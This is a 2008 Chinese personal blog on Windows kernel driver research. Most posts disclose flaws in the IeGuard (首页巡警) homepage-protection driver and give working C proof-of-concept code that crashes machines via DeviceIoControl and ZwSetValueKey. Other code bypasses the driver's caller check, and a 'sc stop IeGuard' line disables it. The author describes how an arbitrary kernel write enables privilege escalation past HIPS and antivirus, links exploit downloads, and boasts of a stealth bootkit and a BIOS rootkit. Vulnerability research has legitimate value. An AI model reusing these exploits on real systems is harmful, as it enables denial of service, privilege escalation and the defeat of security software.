MJ0011的内核驱动研究所
百度首页 | 百度空间
 
背景音乐
 
 
文章列表
 
2008-07-17 17:54

http://www.cnbeta.com/articles/60463.htm

王江民:希望周鸿祎慎重投资

 
2008-07-17 17:53

XX

 
2008-07-15 08:50

写了个小工具~

看来HA1改一下安装程序就可以轻松移植到bcd boot system 里了~写入时用LoadKey效果更佳~

 
2008-07-14 16:52

陪伴我两年的本本终于被我的BIOS RK烧坏了。。。启动超过30分钟就挂掉。。。

周末去买了个新本本,把以前的硬盘拆下来当移动硬盘用了~

可以整整VISTA了~~

这周末打算再去弄个钻石,搞搞WINCE RK~

 
2008-07-05 14:01

so weak , kill it under ring3 with just less than 100 lines of code

 
2008-06-06 22:44

kd> db 804d8028
804d8028 33 33 33 33 00 00 00 00-00 00 00 00 00 00 00 00 3333............
804d8038 00 00 00 00 e8 00 00 00-0e 1f ba 0e 00 b4 09 cd ................
804d8048 21 b8 01 4c cd 21 54 68-69 73 20 70 72 6f 67 72 !..L.!This progr
804d8058 61 6d 20 63 61 6e 6e 6f-74 20 62 65 20 72 75 6e am cannot be run
804d8068 20 69 6e 20 44 4f 53 20-6d 6f 64 65 2e 0d 0d 0a   in DOS mode....
804d8078 24 00 00 00 00 00 00 00-ce 0d 2d e1 8a 6c 43 b2 $.........-..lC.
804d8088 8a 6c 43 b2 8a 6c 43 b2-49 63 1e b2 8d 6c 43 b2 .lC..lC.Ic...lC.
804d8098 8a 6c 42 b2 de 6c 43 b2-49 63 4c b2 dd 6c 43 b2 .lB..lC.IcL..lC.

ha1 is out-of-date

"Tophet" -- most powerful bootkit in the world?

2008-6-7 凌晨add: Tophet 隐藏式Boot加载模块已初步完成。

何为隐藏式Boot加载:不感染MBR\BootSector\Ntldr,不在windows目录下修改、新增任何文件,即使使用WinPe或将硬盘拆下亦无法检查出来的BootKit启动模式:)

新增测试版酷图一张:

 
2008-05-28 16:03

首页巡警v1.2及以下所有版本的IRP_MJ_DEVICE_CONTROL处理例程存在 任意内核地址写入漏洞

该处理例程有两处地方都存在任意地址写入漏洞,其中一处可利用做本地权限提升,可在任意权限用户下执行,并写入任意数据到任意内核地址。

引发错误的原因是首页巡警的驱动开发者未能正确理解i/o传输方式导致的。首页巡警所有的数据传递都是通过MOTHOD_BUFFERED的io control code来执行的,根据MSDN中描述:

METHOD_BUFFERED
For this transfer type, IRPs supply a pointer to a buffer at Irp->AssociatedIrp.SystemBuffer. This buffer represents both the input buffer and the output buffer that are specified in calls to DeviceIoControl and IoBuildDeviceIoControlRequest. The driver transfers data out of, and then into, this buffer.

For input data, the buffer size is specified by Parameters.DeviceIoControl.InputBufferLength in the driver's IO_STACK_LOCATION structure. For output data, the buffer size is specified by Parameters.DeviceIoControl.OutputBufferLength in the driver's IO_STACK_LOCATION structure.

The size of the space that the system allocates for the single input/output buffer is the larger of the two length values.

该类io control code的处理例程应该从Irp->AssociatedIrp.SystemBuffer.中取出InputBuffer的内容,并将要输出的内容也写入Irp->AssociatedIrp.SystemBuffer.实际上,这是buffered i/o的特性,即系统会分配一块内核内存,并将device io control 的Inputbuffer 中的数据COPY到这块内存中,然后等device io control完成时会将这块内存中的数据再COPY到device io control 的OutputBuffer ,这种传输方式本来较难导致安全漏洞。但由于首页巡警的驱动开发者错误地使用了pIrp->UserBuffer做为输出数据的传输,并且没有做OutpuitBufferLength的有效检查,因此引发了安全漏洞

实际上即使在MOTHOD_BUFFERED模式的传输时,内核也会将实际的OutputBuffer放到pIrp->UserBuffer域中。但是内核中有对这块内存做校验,参考WRK的代码:

    if (requestorMode != KernelMode) {

        //
        // The caller's access mode is not kernel so probe each of the arguments
        // and capture them as necessary. If any failures occur, the condition
        // handler will be invoked to handle them. It will simply cleanup and
        // return an access violation status code back to the system service
        // dispatcher.
        //

        try {

            //
            // The IoStatusBlock parameter must be writeable by the caller.
            //

            ProbeForWriteIoStatus (IoStatusBlock);

            //
            // The output buffer can be used in any one of the following three ways,
            // if it is specified:
            //
            //     0) It can be a normal, buffered output buffer.
            //
            //     1) It can be a DMA input buffer.
            //
            //     2) It can be a DMA output buffer.
            //
            // Which way the buffer is to be used it based on the low-order two bits
            // of the IoControlCode.
            //
            // If the method is 0 we probe the output buffer for write access.
            // If the method is not 3 we probe the input buffer for read access.
            //

            if (method == METHOD_BUFFERED) {
                if (ARGUMENT_PRESENT( OutputBuffer )) {
                    ProbeForWrite( OutputBuffer,
                                   OutputBufferLength,
                                   sizeof( UCHAR ) );
                } else {
                    OutputBufferLength = 0;
                }
            }

如果填入的OutputBuffer是内核地址,ProbeForWrite就会引发异常,会返回错误

但实际上,ProbeForWrite是可以绕过的,即给OutputBufferLength填0,就会不做检查了。

但如果驱动开发者在留心一下,在自己的程序里对OutputBufferLength参数做检查,禁止0长度的buffer,也可以避免此问题,可惜依然没有!

最终造成了这个任意地址写入漏洞,该漏洞一共有两处:

1.

io control code = 0x50000414 :

时 的处理代码:


loc_123F9:
call    GetIeGuardState
mov     ecx, [ebp+UserBuffer]
movzx   eax, al
mov     [ecx], eax
jmp     loc_124EC

该处会将当前保护状态->al , 并写入UserBuffer,此处较难利用,因为只会是2 1 0 三个值,但可以传入一个无效地址,引发BSOD,造成拒绝服务攻击

2.io control code = 500004410时的处理代码 可以将InputBuffer中的内容写入首页巡警分配的一块pool中

io control code = 5000040c 时的处理代码 ,会将这块pool 中的内容copy到UserBuffer中

这样,我们就可以先将我们要写入的内容通过500004410写入POOL

再通过5000040c 写入任意我们想要写入的内核地址,可以是一段shellcode,也可以是修改一些系统的关键变量,等等.这样可以在任意用户下进行权限提升,并可以突破任意内核态防御,例如HIPS、Anti-Virus,Firewall等等

BSOD的利用代码(利用第一个漏洞,第2个本地提权的例子我就不发了,看一下首页巡警的代码,在看看第一个例子,很轻松就可以写出来)


CHAR filename[MAX_PATH]

GetModuleFileName(0 , filename , MAX_PATH);

CreateFile(filename ,
   FILE_READ_DATA ,
   FILE_SHARE_DELETE ,
   0,
   OPEN_EXISTING ,
   0,
   0);

//这里是把自己占住,用于绕过1.2版以后的文件校验


HANDLE hdev = CreateFile("\\\\.\\IEGuard",
   FILE_READ_ATTRIBUTES ,
   0,
   0,
   OPEN_EXISTING ,
   0,
   0);

ULONG retlen ;

DeviceIoControl(hdev ,
   0x50000414,
   0,0,
   (PVOID)0x80000000,
   0,
   &retlen , 0)

//利用第一个漏洞的control code 50000414

//OutputBuffer传0x80000000,这是一个无效地址,被写入即会立即蓝屏

//OutputBufferLength传0,这样可以绕过NtDeviceIoControl->IopXxxControlFile中的ProbeForWrite检查!

运行此代码后,安装了1.2及以下版本的机器将立即蓝屏。

测试程序下载:

http://mj0011.ys168.com

漏洞演示目录下IeGuardLeakTest_12w.rar

 
2008-05-28 13:42

首页巡警v1.2版加入了一个校验,在发送IRP_MJ_CREATE请求到其驱动时,会打开当前进程的SectionObject->SegmentObject->BaseAddress->FileObject,并打开进程文件进行校验,若不是IeGuard的话,就拒绝操作其驱动

不过,同样非常轻易可以绕过

代码如下:


GetModuleFileName(0 , filename , MAX_PATH);


CreateFile( filename ,
   FILE_READ_DATA ,
   FILE_SHARE_DELETE,
   0,
   OPEN_EXISTING ,
   0,
   0);

HANDLE hdev = CreateFile("\\\\.\\IEGuard" ,
   FILE_READ_ATTRIBUTES ,
   0 ,
   0,
   OPEN_EXISTING ,
   0 ,
   0
   );

DeviceIoControl(hdev ,
   0x50000408 ,
   0 , 0 , 0 , 0 , &retlen , 0 );

测试程序下载:

http://mj0011.ys168.com/

漏洞演示下BypassIeGuard12.rar

 
2008-05-22 19:46

首页巡警v1.1/1.0的内核驱动程序存在严重漏洞

安装了首页巡警v1.1(v1.0)的机器,任意权限的用户可导致系统蓝屏(BSOD),造成拒绝服务攻击

结合我之前公布的SystemCrashDumpInformation加载驱动方式,可以在安装了HIPS的机器上造成本地提权漏洞,即任意权限的用户可以加载驱动到内核并执行。

出问题的函数是IeGuard.sys!HkZwSetValueKey

该函数的第三个参数是PUNICODE_STRING ValueName

IeGuard没有对参数做任何检查就使用RtlCompareUnicodeString函数对该值进行判断,只要在RING3对此参数置0,IeGuard将立即导致系统蓝屏

相关汇编代码:

.text:00011430 HkZwSetValueKey proc near               ; DATA XREF: HookKeyRoutine+52 o
.text:00011430                                         ; sub_11B66+45 o
.text:00011430
.text:00011430 StartPageUniName= UNICODE_STRING ptr -14h
.text:00011430 var_C           = dword ptr -0Ch
.text:00011430 Object          = dword ptr -8
.text:00011430 isPass          = byte ptr -1
.text:00011430 Handle          = dword ptr 8
.text:00011430 ValueName       = dword ptr 0Ch
.text:00011430 arg_8           = dword ptr 10h
.text:00011430 arg_C           = dword ptr 14h
.text:00011430 arg_10          = dword ptr 18h
.text:00011430 arg_14          = dword ptr 1Ch
.text:00011430
.text:00011430                 mov     edi, edi
.text:00011432                 push    ebp
.text:00011433                 mov     ebp, esp
.text:00011435                 sub     esp, 14h
.text:00011438                 push    ebx
.text:00011439                 xor     ebx, ebx
.text:0001143B                 mov     [ebp+isPass], bl
.text:0001143E                 call    ds:ExGetPreviousMode
.text:00011444                 cmp     al, 1
.text:00011446                 jnz     loc_114FA
.text:00011446
.text:0001144C                 push    offset str_StartPage ; SourceString
.text:00011451                 lea     eax, [ebp+StartPageUniName]
.text:00011454                 push    eax             ; DestinationString
.text:00011455                 call    ds:RtlInitUnicodeString
.text:0001145B                 push    1               ; CaseInSensitive
.text:0001145D                 push    [ebp+ValueName] ; String2
.text:00011460                 lea     eax, [ebp+StartPageUniName]
.text:00011463                 push    eax             ; String1
.text:00011464                 call    ds:RtlCompareUnicodeString

<---此处未做任何判断就将ValueName传递给RtlCompareUnicodeString

导致蓝屏

.text:0001146A                 test    eax, eax
.text:0001146C                 jnz     loc_114FA

利用代码(该代码运行后即可导致安装了首页巡警的机器立即蓝屏,可在任意用户权限下执行)

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwSetValueKey");


__asm
{
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   call p

}

测试程序下载:

http://www.debugman.com/read.php?tid=1330

或:

http://mj0011.ys168.com/ 漏洞演示\IeGuardLeakTest.rar

 
2008-05-20 12:57

HANDLE hdev = CreateFile("\\\\.\\IEGuard" ,
   FILE_READ_ATTRIBUTES ,
   0 ,
   0,
   OPEN_EXISTING ,
   0 ,
   0
   );

DeviceIoControl(hdev ,
   0x50000408 ,
   0 , 0 , 0 , 0 , &retlen , 0 );

演示程序下载:

http://www.debugman.com/read.php?tid=1306&page=e#a

(有IDB)

或:

http://mj0011.ys168.com/

下 \漏洞演示\BypassIeGuard.rar

 
2008-05-19 15:08

Death is the beginning of birth

From Dengel

 
2008-05-11 20:40
见首页音乐
 
2008-05-11 19:16

 
2008-05-07 17:45

sc stop IeGuard

完了后所有保护消失

测试版本:1.0.0.6

ps:blog留言及评论重新开放

 
2008-05-07 14:49

PS:hal.dll base = 806e3000

 
     
 
 
个人档案
 
MJ0011

上次登录:
1天前
加为好友
 
   
 
其它
 
已有人次访问本空间
 
订阅RSS  什么是RSS?

您也想拥有这样的空间?请点此申请。
     
 
最近访客
 
 

iceboy_

cxh852456

hack0573

gdier

Cyg07

cnlzx

tzwsoho

LiquidWorm
     


©2008 Baidu